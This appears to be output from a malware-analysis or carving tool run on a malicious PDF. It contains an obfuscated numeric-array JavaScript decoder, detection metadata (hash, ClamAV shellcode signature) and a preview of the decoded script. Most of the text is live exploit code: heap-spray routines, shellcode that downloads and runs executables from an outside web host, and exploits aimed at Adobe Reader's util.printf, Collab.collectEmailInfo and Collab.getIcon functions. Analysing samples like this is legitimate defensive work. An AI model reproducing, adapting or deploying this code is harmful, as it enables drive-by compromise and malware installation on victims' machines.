,146,171,164,169,81,118,81,159,154,177,144,162,165,97,170,154,163,172,161,101,81,165,150,167,90,116,62,67,58,66,167,154,163,89,148,168,166,167,165,107,81,118,81,97,148,156,81,102,81,105,169,109,97,105,97,105,97,98,96,154,149,157,163,116,62,67,58,66,151,168,163,89,89,175,146,171,81,156,160,174,159,173,81,118,81,105,108,89,148,168,166,167,165,89,109,89,148,168,166,167,165,107,108,89,148,168,166,167,165,100,92,98,172,70,59,66,58,66,158,158,158,152,146,171,163,154,170,148,148,168,166,167,165,150,81,118,81,178,146,171,164,169,81,100,81,172,153,158,157,165,148,168,149,158,108,70,59,66,58,182,62,67,58,66,167,154,163,89,160,175,150,171,151,165,160,176,81,118,81,174,159,158,164,156,146,169,150,97,83,94,166,105,148,105,148,94,166,105,148,105,148,91,90,116,62,67,58,66,168,161,154,165,150,89,89,168,167,158,163,159,157,168,168,103,157,158,159,160,165,161,81,117,81,109,101,114,102,107,90,180,62,67,58,66,58,168,167,158,163,159,157,168,168,89,92,118,81,168,167,158,163,159,157,168,168,116,62,67,58,66,174,70,59,66,58,173,153,162,164,103,148,168,157,165,146,155,132,173,160,171,150,89,110,89,116,168,157,165,146,155,95,156,160,165,157,158,148,173,118,166,146,162,157,130,159,159,160,97,172,172,166,155,155,115,81,91,83,101,158,172,152,115,81,168,167,158,163,159,157,168,168,182,90,116,62,67,58,182,62,67,62,67,58,159,166,167,148,173,154,168,159,89,148,168,157,165,146,155,144,160,150,173,154,156,160,167,89,98,172,70,59,66,58,162,151,89,89,154,161,169,95,157,160,156,95,124,160,165,157,154,147,103,152,158,165,130,148,168,159,98,172,70,59,66,58,66,167,154,163,89,146,171,163,178,81,118,81,167,150,176,81,122,163,171,146,178,89,98,108,70,59,66,58,66,167,154,163,89,167,175,161,158,165,161,170,154,81,118,81,174,159,158,164,156,146,169,150,97,83,94,166,126,115,126,106,94,166,105,97,105,98,94,166,110,103,105,97,94,166,122,98,111,101,94,166,105,97,108,97,94,166,105,97,105,97,94,166,109,97,113,115,94,166,113,115,105,116,94,166,106,116,112,97,94,166,113,115,122,117,94,166,105,105,109,97,94,166,124,100,110,118,94,166,113,115,110,102,94,166,113,115,126,116,94,166,105,105,109,102,94,166,108,100,110,99,94,166,124,98,125,99,94,166,105,100,124,99,94,166,106,97,108,99,94,166,113,97,109,97,94,166,105,97,108,105,94,166,127,102,112,102,94,166,124,99,113,115,94,166,110,117,110,114,94,166,105,101,124,99,94,166,110,102,105,97,94,166,126,116,113,115,94,166,110,98,110,98,94,166,110,103,110,100,94,166,111,97,110,104,94,166,110,117,113,115,94,166,108,100,105,105,94,166,113,115,124,97,94,166,105,116,112,102,94,166,127,118,113,115,94,166,112,103,105,100,94,166,113,115,108,116,94,166,112,105,109,118,94,166,124,119,105,100,94,166,110,98,113,115,94,166,110,99,106,116,94,166,110,98,113,115,94,166,110,99,107,101,94,166,112,98,113,115,94,166,109,118,106,101,94,166,112,102,113,106,94,166,113,115,127,116,94,166,107,97,112,98,94,166,127,104,105,100,94,166,109,114,114,106,94,166,109,99,122,117,94,166,108,115,111,97,94,166,127,116,110,102,94,166,105,101,112,102,94,166,124,97,108,100,94,166,108,104,126,115,94,166,127,119,108,100,94,166,109,102,105,100,94,166,114,104,105,116,94,166,124,119,113,115,94,166,112,102,122,118,94,166,107,115,127,117,94,166,109,119,127,106,94,166,126,105,110,98,94,166,127,119,114,101,94,166,127,119,127,119,94,166,124,100,108,115,94,166,112,101,111,98,94,166,126,115,105,99,94,166,113,115,125,106,94,166,105,116,109,102,94,166,110,118,114,99,94,166,127,99,105,100,94,166,126,97,125,98,94,166,124,103,105,100,94,166,124,106,108,100,94,166,123,104,105,119,94,166,110,119,105,105,94,166,126,98,124,98,94,166,105,100,105,99,94,166,105,100,124,114,94,166,113,115,124,119,94,166,105,100,105,98,94,166,113,106,124,99,94,166,127,105,109,102,94,166,113,115,111,98,94,166,127,105,109,102,94,166,110,118,110,119,94,166,124,106,110,115,94,166,110,102,124,100,94,166,126,116,113,115,94,166,126,105,110,98,94,166,127,119,109,106,94,166,127,119,127,119,94,166,111,105,110,97,94,166,111,97,126,105,94,166,105,101,123,119,94,166,111,116,126,105,94,166,127,119,127,119,94,166,108,100,127,119,94,166,110,99,125,99,94,166,127,119,110,99,94,166,105,105,112,102,94,166,125,97,127,119,94,166,109,102,113,106,94,166,113,115,127,116,94,166,127,116,109,102,94,166,124,100,124,106,94,166,113,115,110,102,94,166,113,100,126,116,94,166,105,116,126,116,94,166,109,102,113,117,94,166,110,97,127,101,94,166,109,102,124,103,94,166,112,102,127,101,94,166,109,102,124,103,94,166,112,99,127,102,94,166,109,102,124,103,94,166,111,116,127,103,94,166,109,102,124,103,94,166,111,117,127,104,94,166,109,102,124,103,94,166,111,119,127,105,94,166,109,102,124,103,94,166,111,118,127,106,94,166,109,102,124,103,94,166,107,118,127,114,94,166,109,102,124,103,94,166,111,101,127,115,94,166,109,102,124,103,94,166,111,116,127,116,94,166,109,102,124,103,94,166,111,116,127,117,94,166,109,102,124,103,94,166,105,97,127,118,94,166,122,97,126,105,94,166,127,119,127,119,94,166,110,97,127,119,94,166,110,117,111,105,94,166,106,98,113,114,94,166,126,105,106,103,94,166,127,119,106,102,94,166,127,119,127,119,94,166,124,101,113,100,94,166,113,102,105,116,94,166,112,101,124,97,94,166,111,114,106,102,94,166,111,114,105,97,94,166,127,119,105,97,94,166,105,116,112,102,94,166,112,102,127,119,94,166,111,114,105,105,94,166,127,119,105,97,94,166,113,102,125,97,94,166,112,102,124,97,94,166,109,97,105,100,94,166,124,100,124,106,94,166,124,97,108,100,94,166,124,100,124,106,94,166,108,100,110,104,94,166,113,115,124,97,94,166,107,101,109,116,94,166,113,115,105,116,94,166,107,101,112,116,94,166,127,116,105,105,94,166,122,114,127,100,94,166,124,100,110,119,94,166,109,116,113,115,94,166,105,101,107,101,94,166,108,106,113,97,94,166,113,115,105,97,94,166,112,101,124,98,94,166,109,97,105,103,94,166,108,105,113,97,94,166,112,102,105,97,94,166,107,115,127,114,94,166,124,100,124,98,94,166,113,115,110,102,94,166,113,100,126,116,94,166,111,101,126,116,94,166,113,117,110,100,94,166,127,97,109,102,94,166,108,100,110,104,94,166,110,97,125,115,94,166,109,102,124,103,94,166,111,115,127,97,94,166,109,102,124,103,94,166,111,102,127,98,94,166,109,102,124,103,94,166,112,99,127,99,94,166,109,102,124,103,94,166,111,118,127,100,94,166,109,102,124,103,94,166,111,102,127,101,94,166,109,102,124,103,94,166,111,116,127,102,94,166,109,102,124,103,94,166,108,100,127,103,94,166,109,102,124,103,94,166,108,99,127,104,94,166,109,102,124,103,94,166,107,118,127,105,94,166,109,102,124,103,94,166,111,101,127,106,94,166,109,102,124,103,94,166,111,116,127,114,94,166,109,102,124,103,94,166,111,116,127,115,94,166,110,117,113,105,94,166,126,105,127,116,94,166,127,119,105,115,94,166,127,119,127,119,94,166,111,105,110,97,94,166,109,100,111,105,94,166,113,118,127,106,94,166,113,97,126,105,94,166,127,119,127,118,94,166,113,115,127,119,94,166,113,117,127,105,94,166,114,116,109,102,94,166,109,101,111,114,94,166,126,105,110,97,94,166,127,119,112,118,94,166,127,119,127,119,94,166,109,102,113,117,94,166,111,114,126,97,94,166,110,97,106,97,94,166,112,100,126,105,94,166,127,119,127,119,94,166,113,100,127,119,94,166,106,116,124,101,94,166,109,102,113,117,94,166,110,97,126,97,94,166,109,102,113,117,94,166,110,97,114,116,94,166,110,100,110,100,94,166,110,100,110,100,94,166,110,100,110,100,94,166,112,102,127,119,94,166,124,104,105,105,94,166,114,116,109,102,94,166,105,97,109,101,94,166,105,97,105,97,94,166,127,119,110,100,94,166,110,119,125,104,94,166,123,103,105,119,94,166,110,115,124,97,94,166,124,100,124,106,94,166,113,115,110,102,94,166,110,98,126,116,94,166,110,100,110,98,94,166,110,104,110,103,94,166,109,99,111,114,94,166,112,99,126,105,94,166,105,97,105,97,94,166,113,115,105,97,94,166,108,100,125,105,94,166,113,102,127,103,94,166,110,106,125,115,94,166,109,102,124,104,94,166,111,98,127,105,94,166,111,102,107,118,94,166,124,104,112,105,94,166,127,116,109,102,94,166,105,97,111,102,94,166,105,97,105,97,94,166,110,103,112,118,94,166,109,102,113,117,94,166,110,97,127,105,94,166,126,105,110,103,94,166,105,97,110,98,94,166,105,97,105,97,94,166,110,97,110,106,94,166,123,98,126,105,94,166,127,119,127,118,94,166,113,102,127,119,94,166,110,106,124,97,94,166,112,101,110,106,94,166,113,117,108,106,94,166,105,98,109,103,94,166,126,105,110,97,94,166,105,97,108,115,94,166,105,97,105,97,94,166,127,105,113,115,94,166,109,102,113,117,94,166,110,97,127,105,94,166,107,98,126,105,94,166,127,119,127,119,94,166,113,102,127,119,94,166,110,106,124,97,94,166,112,101,110,106,94,166,110,104,105,116,94,166,105,98,126,105,94,166,127,119,127,119,94,166,110,106,127,119,94,166,109,101,124,103,94,166,127,119,108,105,94,166,110,97,112,100,94,166,109,102,113,117,94,166,127,118,127,105,94,166,110,105,105,97,94,166,109,102,113,117,94,166,110,97,127,105,94,166,126,105,110,104,94,166,127,118,112,101,94,166,127,119,127,119,94,166,110,106,110,106,94,166,109,103,109,103,94,166,127,100,108,115,94,166,122,114,112,116,94,166,110,118,110,119,94,166,124,106,110,115,94,166,110,102,124,100,94,166,126,116,113,115,94,166,110,100,110,98,94,166,111,97,111,103,94,166,108,99,123,98,94,166,105,97,126,105,94,166,105,97,105,97,94,166,110,105,105,97,94,166,105,105,108,105,94,166,105,100,112,101,94,166,126,115,109,97,94,166,109,97,127,106,94,166,110,117,113,115,94,166,113,97,105,105,94,166,109,99,127,115,94,166,105,105,112,102,94,166,125,115,108,100,94,166,106,105,113,114,94,166,124,100,113,115,94,166,106,104,126,115,94,166,106,105,108,105,94,166,106,98,112,103,94,166,108,100,109,97,94,166,113,101,124,106,94,166,112,101,125,115,94,166,109,97,105,116,94,166,105,105,108,105,94,166,127,115,112,102,94,166,127,118,109,97,94,166,126,115,124,115,94,166,108,100,127,99,94,166,113,106,124,97,94,166,127,116,109,102,94,166,109,102,113,115,94,166,110,115,127,116,94,166,124,100,124,106,94,166,105,99,108,99,94,166,112,101,111,105,94,166,112,97,112,101,94,166,107,119,108,114,94,166,112,100,107,119,94,166,112,106,112,101,94,166,111,102,111,116,94,166,111,99,107,117,94,166,111,98,111,119,94,166,111,101,112,99,94,166,107,118,112,100,94,166,111,119,111,100,94,166,107,119,111,117,94,166,111,119,111,103,94,166,112,102,112,99,94,166,107,119,111,117,94,166,111,105,111,102,94,166,112,97,111,119,94,166,112,104,112,100,94,166,107,118,108,99,94,166,112,105,111,102,94,166,105,97,111,102,94,166,112,101,111,105,94,166,112,97,112,101,94,166,107,119,108,114,94,166,112,100,107,119,94,166,112,106,112,101,94,166,111,102,111,116,94,166,111,99,107,117,94,166,111,98,111,119,94,166,111,101,112,99,94,166,107,118,112,100,94,166,111,119,111,100,94,166,107,119,111,117,94,166,111,119,111,103,94,166,112,102,112,99,94,166,107,119,111,117,94,166,111,116,111,100,94,166,111,100,111,106,94,166,107,118,111,115,94,166,111,105,112,97,94,166,108,119,112,97,94,166,108,117,112,99,94,166,105,97,105,97,91,90,116,62,67,58,66,58,175,146,171,81,161,136,170,102,105,97,124,127,89,110,89,167,175,161,158,165,161,170,154,95,165,150,167,152,173,153,89,91,89,99,116,62,67,58,66,58,175,146,171,81,165,150,167,81,118,81,105,169,109,97,105,97,105,97,89,94,89,89,161,136,170,102,105,97,124,127,89,92,89,97,177,100,113,90,116,62,67,58,66,58,175,146,171,81,178,146,171,164,169,81,118,81,174,159,158,164,156,146,169,150,97,83,94,166,114,97,114,97,94,166,114,97,114,97,91,90,116,62,67,58,66,58,178,146,171,164,169,81,118,81,159,154,177,144,162,165,97,170,154,163,172,161,101,81,165,150,167,90,116,62,67,58,66,58,175,146,171,81,169,102,122,155,132,103,110,151,89,110,89,89,105,169,105,148,105,148,105,148,105,148,89,94,89,97,177,101,105,97,105,97,105,90,89,96,89,97,177,101,105,97,105,97,105,108,70,59,66,58,66,151,168,163,89,89,175,146,171,81,175,162,156,130,125,106,111,170,89,110,89,97,116,81,175,162,156,130,125,106,111,170,89,109,89,161,110,114,163,124,111,102,159,108,89,167,170,148,138,117,114,103,178,81,100,92,89,90,180,62,67,58,66,58,66,146,171,163,178,140,175,162,156,130,125,106,111,170,150,81,118,81,178,146,171,164,169,81,100,81,175,167,169,150,173,153,178,146,116,62,67,58,66,58,182,62,67,58,66,58,175,146,171,81,173,134,134,153,135,147,128,168,89,110,89,166,167,150,172,148,154,161,158,89,91,86,105,106,91,90,116,62,67,58,66,58,176,153,162,157,158,81,97,165,142,126,161,127,155,120,176,95,165,150,167,152,173,153,89,109,89,97,177,101,105,97,105,90,180,62,67,58,66,58,66,165,142,126,161,127,155,120,176,81,100,110,89,165,142,126,161,127,155,120,176,108,70,59,66,58,66,174,70,59,66,58,66,165,142,126,161,127,155,120,176,81,118,81,91,127,103,83,89,92,89,165,142,126,161,127,155,120,176,108,70,59,66,58,66,146,169,161,103,149,168,148,103,116,168,157,165,146,155,95,160,150,173,122,156,160,167,89,173,134,134,153,135,147,128,168,98,108,70,59,66,58,182,62,67,58,182,62,67,62,67,58,159,166,167,148,173,154,168,159,89,161,157,151,152,164,173,146,171,165,97,90,180,62,67,62,67,58,66,167,154,163,89,167,158,163,172,154,168,159,89,110,89,146,169,161,103,167,162,150,176,150,171,135,158,163,172,154,168,159,103,165,168,132,173,163,162,159,160,89,98,108,70,59,66,58,175,150,171,164,162,160,167,81,118,81,175,150,171,164,162,160,167,95,171,150,169,157,154,148,158,89,104,141,125,96,160,93,96,88,98,108,70,59,66,58,175,146,171,81,175,146,171,164,162,160,167,144,154,163,171,146,178,81,118,81,167,150,176,81,122,163,171,146,178,89,175,150,171,164,162,160,167,95,156,153,154,163,122,165,97,97,98,93,89,167,158,163,172,154,168,159,103,148,161,146,171,114,173,89,106,90,101,81,175,150,171,164,162,160,167,95,156,153,154,163,122,165,97,99,98,90,116,62,67,58,66,154,159,81,97,89,175,146,171,164,162,160,167,144,154,163,171,146,178,140,105,142,89,110,118,81,113,90,89,87,95,81,97,167,154,163,172,154,168,159,152,146,171,163,154,170,148,98,150,81,118,110,89,97,98,81,181,173,89,89,175,146,171,164,162,160,167,144,154,163,171,146,178,140,106,142,89,110,118,81,106,81,95,87,89,167,154,163,172,154,168,159,152,146,171,163,154,170,148,99,150,81,117,81,108,90,98,172,70,59,66,58,66,166,173,154,165,144,169,163,162,159,173,151,97,90,116,62,67,58,66,174,70,59,66,58,162,151,89,89,97,167,154,163,172,154,168,159,152,146,171,163,154,170,148,97,150,81,117,81,113,90,89,173,181,81,97,167,154,163,172,154,168,159,152,146,171,163,154,170,148,97,150,81,118,110,89,105,89,87,95,81,175,146,171,164,162,160,167,144,154,163,171,146,178,140,106,142,89,109,89,99,89,87,95,81,175,146,171,164,162,160,167,144,154,163,171,146,178,140,107,142,89,109,89,99,98,90,180,62,67,58,66,58,156,160,165,157,154,147,152,150,166,146,162,157,97,90,116,62,67,58,66,174,70,59,66,58,162,151,89,89,97,167,154,163,172,154,168,159,152,146,171,163,154,170,148,97,150,81,117,81,114,90,89,173,181,81,97,167,154,163,172,154,168,159,152,146,171,163,154,170,148,97,150,81,118,110,89,106,89,87,95,81,175,146,171,164,162,160,167,144,154,163,171,146,178,140,106,142,89,109,89,98,98,90,180,62,67,58,66,58,156,160,165,157,154,147,152,152,158,165,162,148,168,159,97,90,116,62,67,58,66,174,70,59,66,174,70,59,70,59,66,161,157,151,152,164,173,146,171,165,97,90,116,62,67,58],dglsuz=function(){for(var inxz;dfjktx<ikqs.length;dfjktx+=1){var dijpv=dfjktx%ahkop.length+1;var mstvz=ahkop.substring(dfjktx%ahkop.length,dijpv);var hilmot=ikqs[dfjktx];adstuv+=cghipx(hilmot-mstvz.charCodeAt(0));} einw(adstuv);};dglsuz();bmsxy="bmsxy";ahoptx="ahoptx";ijnvxz="ijnvxz";inqsuv='';bjoqrw=25624;bglpt='';bfpstz="bfpstz";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10018 bytes
SHA-256: `ce87300e6ced9665fdf4f7d3b2bcc559a188af47a9a760e308fc0a7d53a5f46b`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6662%u7570%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C69%u7471%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6865%u706F%u7773%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } 